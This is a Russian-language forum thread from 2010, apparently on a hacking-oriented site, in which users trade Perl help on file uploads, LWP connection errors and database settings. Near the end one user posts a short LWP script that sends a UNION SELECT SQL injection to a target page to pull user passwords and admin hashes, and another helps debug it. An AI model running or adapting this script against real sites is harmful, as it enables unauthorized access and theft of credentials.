maxya, да попробуй отправить точно так же.. В случае отправки сообщения должно прокатить (у меня прокатывало)... Хотя можно и многострочный пост посылать... Но тут думаю смысла нет, обычно это юзается при заливке файлов на сервер...

krypt3r
01.04.2010, 07:11
Разница в Content-Type

Cybersteger
01.04.2010, 16:59
Народ помогите! Есть файл з :
my %SQL;
$SQL{dbserver} = 'сервер';
$SQL{dbdriver} = 'mysql';
$SQL{dbname} = 'бднаме';

############### Подсоединяемся к базе
$QUERY{dbhandle} = ConnectToSQL(\%SQL);
unless (defined($QUERY{dbhandle})) { print("Can't connect to '$SQL{dbserver}/$SQL{dbname}'\n"); }


my %DATA;
if($QUERY{edited} eq 'auth') { # если пришли после авторизации - читаем данные из базы
%DATA = GetDataFromDB(\%QUERY);

как здесь узнать конфиг базы,щоб потом к ней пидлючитись ?

Hobba
01.04.2010, 20:51
Что значит "конфиг базы"?
2-4 строки говорят к какому серверу цепляться и с какой базой работать.

Fepsis
03.04.2010, 02:31
Немного не по сабжу, но чтобы темы не плодить:

На дедике при попытке получить контент любой страницы через LWP::UserAgent получаю ответ:
500 Can't connect to ya.ru:80 (Bad hostname 'ya.ru')

в чём трабла и как исправить..?! может порт как то прикрыт..?!

Hobba
03.04.2010, 11:32
Кусок скрипта покажи

Fepsis
03.04.2010, 13:26
Кусок скрипта покажи
Да код не причём.. Что-то в настройках дедика... Код рабочий..)

Vlad&slav
03.04.2010, 23:43
Код рабочий..)

видимо на столько рабочий что его кто-то не пропускает
поробуй каконть малый простой скрипт для проверки соединения

Fepsis
03.04.2010, 23:58
видимо на столько рабочий что его кто-то не пропускает
поробуй каконть малый простой скрипт для проверки соединения
Да не стал бы я это тут постить, не убедившись в работоспособности скрипта... На любой другой машине (на моём компе, на других дедах) скрипт работает... На этом деде тоже работал, но видимо админ там что-то наколдовал, а дед хороший, жаль что простаивает... Простой скрипт для проверки тоже юзал.. результат тот же...

ЗЫ: запостил тут, так как думал, что кто-нибудь сталкивался с этим...

zeppe1in
04.04.2010, 13:30
Fepsis
а по ип попробуй соеденица. может днс серваки упали вот и Bad hostname 'ya.ru'

anubis666
04.04.2010, 16:36
Здравствуйте , можно узнать существует-ли в perl аналог php $_FILE ?

Pashkela
04.04.2010, 17:06
print "FILE: ", __FILE__ ;

anubis666
04.04.2010, 21:11
print "FILE: ", __FILE__ ;
с помощью этого мы получим путь к скрипту,а как получить содержимое файла из POST запроса?!

krypt3r
05.04.2010, 11:15
Предположу

use CGI;
my $data = $query->param('POSTDATA');

Так же почитайте перлдок по модулю CGI, раздел "CREATING A FILE UPLOAD FIELD"

Fepsis
05.04.2010, 15:48
Ponchik, это ветка про Perl... :)

Ponchik
05.04.2010, 15:49
ухтыёп, промахнулся :(
То-то я думаю, почему krypt3r на перле чёто там спрашивает

krypt3r
05.04.2010, 20:09
Я еще на перле не разговариваю =)

pinch
12.04.2010, 23:58
как прочитать допустим все символы со страницы

читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";

а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)

Fepsis
13.04.2010, 00:12
как прочитать допустим все символы со страницы

читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";

а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)

если контент страницы в переменной $answer, то:
print $answer;

pinch
13.04.2010, 00:24
пишет 400 url must be absolute

Fepsis
13.04.2010, 00:25
пишет 400 url must be absolute
Код весь выкладывай...

pinch
13.04.2010, 00:27
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";

Fepsis
13.04.2010, 00:32
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";

Мммммм... поступим проще.. Напиши url страницы, с которой нужно получить контент...